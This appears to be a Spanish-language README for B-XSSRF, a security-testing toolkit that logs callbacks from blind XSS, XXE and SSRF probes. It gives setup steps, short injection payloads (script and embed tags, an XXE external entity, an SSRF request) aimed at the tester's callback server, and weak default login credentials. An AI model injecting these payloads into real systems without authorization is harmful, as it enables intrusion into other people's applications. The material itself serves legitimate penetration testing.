B-XSSRF

Kit de herramientas para detectar y rastrear Blind XSS, XXE y SSRF

CONFIGURACIÓN

• Sube los archivos a tu servidor.
• Crea una base de datos y sube el archivo database.sql a ella.
• Cambia las Credenciales de la BD en el archivo db.php.
• Listo.

USO

BLIND XSS

<embed src="http://mysite.com/bxssrf/request.php">
<script src="http://mysite.com/bxssrf/request.php">

BLIND XXE

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;
]>
<r></r>

SSRF

GET /testssrf.php=http://mysite.com/bxssrf/request.php

CREDENCIALES POR DEFECTO

USUARIO : [email protected]
CONTRASEÑA : 123456